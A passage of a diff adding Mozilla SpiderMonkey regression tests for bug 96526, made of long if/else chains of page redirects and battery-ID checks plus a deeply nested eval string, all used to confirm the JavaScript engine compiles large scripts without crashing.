+ else if (jumpto == [285]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njbudclarity.jpg";
+ else if (jumpto == [286]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njcraigjones.jpg";
+ else if (jumpto == [287]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njericrowland.jpg";
+ else if (jumpto == [288]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njjimsnyder.jpg";
+ else if (jumpto == [289]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njlarrylevinson.jpg";
+ else if (jumpto == [290]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njlouisdispensiere.jpg";
+ else if (jumpto == [291]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njmarksoloff.jpg";
+ else if (jumpto == [292]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njmichaelhalko.jpg";
+ else if (jumpto == [293]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njmichaelmalkasian.jpg";
+ else if (jumpto == [294]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njnigelmartin.jpg";
+ else if (jumpto == [295]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njrjmolinari.jpg";
+ else if (jumpto == [296]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njtommurasky.jpg";
+ else if (jumpto == [297]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njtomputnam.jpg";
+ else if (jumpto == [298]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nmdalepage.jpg";
+ else if (jumpto == [299]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nmmikethompson.jpg";
+ else if (jumpto == [300]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nvclydekemp.jpg";
+ else if (jumpto == [301]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nvharveyklene.jpg";
+ else if (jumpto == [302]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nvlonsimons.jpg";
+ else if (jumpto == [303]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyabeweisfelner.jpg";
+ else if (jumpto == [304]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyanthonygiudice.jpg";
+ else if (jumpto == [305]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyaustinpierce.jpg";
+ else if (jumpto == [306]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nybrianmonks.jpg";
+ else if (jumpto == [307]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nycharlieporter.jpg";
+ else if (jumpto == [308]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nycorneliuswoglum.jpg";
+ else if (jumpto == [309]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nydennishartwell.jpg";
+ else if (jumpto == [310]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nydennissgheerdt.jpg";
+ else if (jumpto == [311]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nygeorgepettitt.jpg";
+ else if (jumpto == [312]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyjohndrewes.jpg";
+ else if (jumpto == [313]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyjohnminichiello.jpg";
+ else if (jumpto == [314]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nykevinwoolever.jpg";
+ else if (jumpto == [315]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nymartyrubinstein.jpg";
+ else if (jumpto == [316]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyraysicina.jpg";
+ else if (jumpto == [317]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyrobbartley.jpg";
+ else if (jumpto == [318]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyrobertkosty.jpg";
+ else if (jumpto == [319]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nystephenbagnato.jpg";
+ else if (jumpto == [320]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nystevegiamundo.jpg";
+ else if (jumpto == [321]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nystevekelly.jpg";
+ else if (jumpto == [322]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nywayneadelkoph.jpg";
+ else if (jumpto == [323]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohbriannimmo.jpg";
+ else if (jumpto == [324]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohdavehyman.jpg";
+ else if (jumpto == [325]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohdavidconant.jpg";
+ else if (jumpto == [326]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohdennismantovani.jpg";
+ else if (jumpto == [327]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohgrahambennett.jpg";
+ else if (jumpto == [328]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohgregbrunk.jpg";
+ else if (jumpto == [329]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohgregfilbrun.jpg";
+ else if (jumpto == [330]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohjimreutener.jpg";
+ else if (jumpto == [331]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohjimrike.jpg";
+ else if (jumpto == [332]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohkeithsparks.jpg";
+ else if (jumpto == [333]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohkevindrinan.jpg";
+ else if (jumpto == [334]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohmichaelhaines.jpg";
+ else if (jumpto == [335]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohmichaelsteele.jpg";
+ else if (jumpto == [336]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohpatrickguanciale.jpg";
+ else if (jumpto == [337]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohscottkelly.jpg";
+ else if (jumpto == [338]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohscottthomas.jpg";
+ else if (jumpto == [339]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohstevetuckerman.jpg";
+ else if (jumpto == [340]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohtedfigurski.jpg";
+ else if (jumpto == [341]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohterrydonald.jpg";
+ else if (jumpto == [342]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohtimokeefe.jpg";
+ else if (jumpto == [343]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohtomhaydock.jpg";
+ else if (jumpto == [344]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okbillsneller.jpg";
+ else if (jumpto == [345]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okbobbulick.jpg";
+ else if (jumpto == [346]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okdaryljones.jpg";
+ else if (jumpto == [347]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okstevetarchek.jpg";
+ else if (jumpto == [348]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okwoodymcelroy.jpg";
+ else if (jumpto == [349]) window.location = "http://www.newyankee.com/GetYankees2.cgi?orcoryeells.jpg";
+ else if (jumpto == [350]) window.location = "http://www.newyankee.com/GetYankees2.cgi?oredcavasso.jpg";
+ else if (jumpto == [351]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ormarkmcculley.jpg";
+ else if (jumpto == [352]) window.location = "http://www.newyankee.com/GetYankees2.cgi?orstevekarthauser.jpg";
+ else if (jumpto == [353]) window.location = "http://www.newyankee.com/GetYankees2.cgi?paalanpalmieri.jpg";
+ else if (jumpto == [354]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pachriscarr.jpg";
+ else if (jumpto == [355]) window.location = "http://www.newyankee.com/GetYankees2.cgi?padansigg.jpg";
+ else if (jumpto == [356]) window.location = "http://www.newyankee.com/GetYankees2.cgi?padavecalabretta.jpg";
+ else if (jumpto == [357]) window.location = "http://www.newyankee.com/GetYankees2.cgi?padennishoffman.jpg";
+ else if (jumpto == [358]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pafrankschlipf.jpg";
+ else if (jumpto == [359]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pajamesevanson.jpg";
+ else if (jumpto == [360]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pajoekrol.jpg";
+ else if (jumpto == [361]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pakatecrimmins.jpg";
+ else if (jumpto == [362]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pamarshallkrebs.jpg";
+ else if (jumpto == [363]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pascottsheaffer.jpg";
+ else if (jumpto == [364]) window.location = "http://www.newyankee.com/GetYankees2.cgi?paterrycrippen.jpg";
+ else if (jumpto == [365]) window.location = "http://www.newyankee.com/GetYankees2.cgi?patjpera.jpg";
+ else if (jumpto == [366]) window.location = "http://www.newyankee.com/GetYankees2.cgi?patoddpatterson.jpg";
+ else if (jumpto == [367]) window.location = "http://www.newyankee.com/GetYankees2.cgi?patomrehm.jpg";
+ else if (jumpto == [368]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pavicschreck.jpg";
+ else if (jumpto == [369]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pawilliamhowen.jpg";
+ else if (jumpto == [370]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ricarlruggieri.jpg";
+ else if (jumpto == [371]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ripetermccrea.jpg";
+ else if (jumpto == [372]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scbillmovius.jpg";
+ else if (jumpto == [373]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scbryanrackley.jpg";
+ else if (jumpto == [374]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scchrisgoodman.jpg";
+ else if (jumpto == [375]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scdarrellmunn.jpg";
+ else if (jumpto == [376]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scdonsandusky.jpg";
+ else if (jumpto == [377]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scscotalexander.jpg";
+ else if (jumpto == [378]) window.location = "http://www.newyankee.com/GetYankees2.cgi?sctimbajuscik.jpg";
+ else if (jumpto == [379]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ststuartcoltart.jpg";
+ else if (jumpto == [380]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnbilobautista.jpg";
+ else if (jumpto == [381]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnbrucebowman.jpg";
+ else if (jumpto == [382]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tndavidchipman.jpg";
+ else if (jumpto == [383]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tndavidcizunas.jpg";
+ else if (jumpto == [384]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tndavidreed.jpg";
+ else if (jumpto == [385]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnhankdunkin.jpg";
+ else if (jumpto == [386]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnkenwetherington.jpg";
+ else if (jumpto == [387]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnrickgodboldt.jpg";
+ else if (jumpto == [388]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnroyowen.jpg";
+ else if (jumpto == [389]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnsteve.jpg";
+ else if (jumpto == [390]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tntommymercks.jpg";
+ else if (jumpto == [391]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnwarrenmonroe.jpg";
+ else if (jumpto == [392]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txbillvanpelt.jpg";
+ else if (jumpto == [393]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txcarolynmoncivais.jpg";
+ else if (jumpto == [394]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txchucksteding.jpg";
+ else if (jumpto == [395]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txclintlafont.jpg";
+ else if (jumpto == [396]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txcurthackett.jpg";
+ else if (jumpto == [397]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txdavidmcneill.jpg";
+ else if (jumpto == [398]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txdonowen.jpg";
+ else if (jumpto == [399]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txfrankcox.jpg";
+ else if (jumpto == [400]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txglenbang.jpg";
+ else if (jumpto == [401]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txhowardlaunius.jpg";
+ else if (jumpto == [402]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjamienorwood.jpg";
+ else if (jumpto == [403]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjimmarkle.jpg";
+ else if (jumpto == [404]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjimmcnamara.jpg";
+ else if (jumpto == [405]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjoelgulker.jpg";
+ else if (jumpto == [406]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjoeveillon.jpg";
+ else if (jumpto == [407]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjohnburns.jpg";
+ else if (jumpto == [408]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkeithmartin.jpg";
+ else if (jumpto == [409]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkennymiller.jpg";
+ else if (jumpto == [410]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkirkconstable.jpg";
+ else if (jumpto == [411]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkylekelley.jpg";
+ else if (jumpto == [412]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txlesjones.jpg";
+ else if (jumpto == [413]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txlynnlacey.jpg";
+ else if (jumpto == [414]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txmarksimmons.jpg";
+ else if (jumpto == [415]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txmauriceharris.jpg";
+ else if (jumpto == [416]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txmichaelbrown.jpg";
+ else if (jumpto == [417]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txrichardthomas.jpg";
+ else if (jumpto == [418]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txrickent.jpg";
+ else if (jumpto == [419]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txtomlovelace.jpg";
+ else if (jumpto == [420]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txvareckwalla.jpg";
+ else if (jumpto == [421]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukbrianstainton.jpg";
+ else if (jumpto == [422]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukdavegrimwood.jpg";
+ else if (jumpto == [423]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukdavidevans.jpg";
+ else if (jumpto == [424]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukgeoffbogg.jpg";
+ else if (jumpto == [425]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukgordondale.jpg";
+ else if (jumpto == [426]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukharborne.jpg";
+ else if (jumpto == [427]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukjamesobrian.jpg";
+ else if (jumpto == [428]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukjeffjones.jpg";
+ else if (jumpto == [429]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukjohnworthington.jpg";
+ else if (jumpto == [430]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukkeithrobinson.jpg";
+ else if (jumpto == [431]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukkoojanzen.jpg";
+ else if (jumpto == [432]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukleewebster.jpg";
+ else if (jumpto == [433]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukpaultebbutt.jpg";
+ else if (jumpto == [434]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukriaanstrydom.jpg";
+ else if (jumpto == [435]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukrickdare.jpg";
+ else if (jumpto == [436]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukterrychadwick.jpg";
+ else if (jumpto == [437]) window.location = "http://www.newyankee.com/GetYankees2.cgi?utbobcanestrini.jpg";
+ else if (jumpto == [438]) window.location = "http://www.newyankee.com/GetYankees2.cgi?utdonthornock.jpg";
+ else if (jumpto == [439]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vaartgreen.jpg";
+ else if (jumpto == [440]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vabobheller.jpg";
+ else if (jumpto == [441]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vaclintadkins.jpg";
+ else if (jumpto == [442]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadanieltepe.jpg";
+ else if (jumpto == [443]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadanmeier.jpg";
+ else if (jumpto == [444]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadavidminnix.jpg";
+ else if (jumpto == [445]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadavidyoho.jpg";
+ else if (jumpto == [446]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadickthornsberry.jpg";
+ else if (jumpto == [447]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamarksimonds.jpg";
+ else if (jumpto == [448]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamichaelkoch.jpg";
+ else if (jumpto == [449]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamikeperozziello.jpg";
+ else if (jumpto == [450]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamikepingrey.jpg";
+ else if (jumpto == [451]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vapatrickkearney.jpg";
+ else if (jumpto == [452]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vapaulstreet.jpg";
+ else if (jumpto == [453]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vatonydemasi.jpg";
+ else if (jumpto == [454]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vatroylong.jpg";
+ else if (jumpto == [455]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vatroylong2.jpg";
+ else if (jumpto == [456]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vaweslyon.jpg";
+ else if (jumpto == [457]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wabryanthomas.jpg";
+ else if (jumpto == [458]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wageorgebryan.jpg";
+ else if (jumpto == [459]) window.location = "http://www.newyankee.com/GetYankees2.cgi?waglennpiersall.jpg";
+ else if (jumpto == [460]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajoewanjohi.jpg";
+ else if (jumpto == [461]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajohndrapala.jpg";
+ else if (jumpto == [462]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajohnfernstrom.jpg";
+ else if (jumpto == [463]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajohnmickelson.jpg";
+ else if (jumpto == [464]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wakeithjohnson.jpg";
+ else if (jumpto == [465]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wamarkdenman.jpg";
+ else if (jumpto == [466]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wamiketaylor.jpg";
+ else if (jumpto == [467]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wascottboyd.jpg";
+ else if (jumpto == [468]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wibryanschappel.jpg";
+ else if (jumpto == [469]) window.location = "http://www.newyankee.com/GetYankees2.cgi?widenniszuber.jpg";
+ else if (jumpto == [470]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wigeorgebregar.jpg";
+ else if (jumpto == [471]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wikevinwarren.jpg";
+ else if (jumpto == [472]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wirichorde.jpg";
+ else if (jumpto == [473]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wistevenricks.jpg";
+ else if (jumpto == [474]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wiweswolfrom.jpg";
+ else if (jumpto == [475]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wvdannorby.jpg";
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-96526-002.js b/js/src/tests/non262/regress/regress-96526-002.js
new file mode 100644
index 0000000000..24e19ec2b1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-96526-002.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Sep 2002
+ * SUMMARY: Just seeing that we don't crash when compiling this script -
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 96526;
+printBugNumber(BUGNUMBER);
+printStatus("Just seeing that we don't crash when compiling this script -");
+
+
+/*
+ * Tail recursion test by Georgi Guninski
+ */
+a="[\"b\"]";
+s="g";
+for(i=0;i<20000;i++)
+ s += a;
+try {eval(s);}
+catch (e) {};
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-96526-003.js b/js/src/tests/non262/regress/regress-96526-003.js
new file mode 100644
index 0000000000..ff243ed558
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-96526-003.js
@@ -0,0 +1,4405 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Sep 2002
+ * SUMMARY: Just seeing that we don't crash when compiling this script -
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=133897
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 96526;
+printBugNumber(BUGNUMBER);
+printStatus("Just seeing that we don't crash when compiling this script -");
+
+
+/*
+ * This function comes from http://bugzilla.mozilla.org/show_bug.cgi?id=133897
+ */
+function validId(IDtext)
+{
+ var res = "";
+
+ if(IDText.value==""){
+ print("You must enter a valid battery #")
+ return false
+ }
+ else if(IDText.value=="x522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="521"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="528"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="529"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="539"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e90"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e96"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="en6"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en22"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en90"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en529"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en539"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en715"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl4a"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl4as"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl4ac"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl6a"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="3-0316"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-0316i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-00411"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-0411i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-312"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-312i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315innc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315iwc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335nnci"){
+ //Checks for id entry
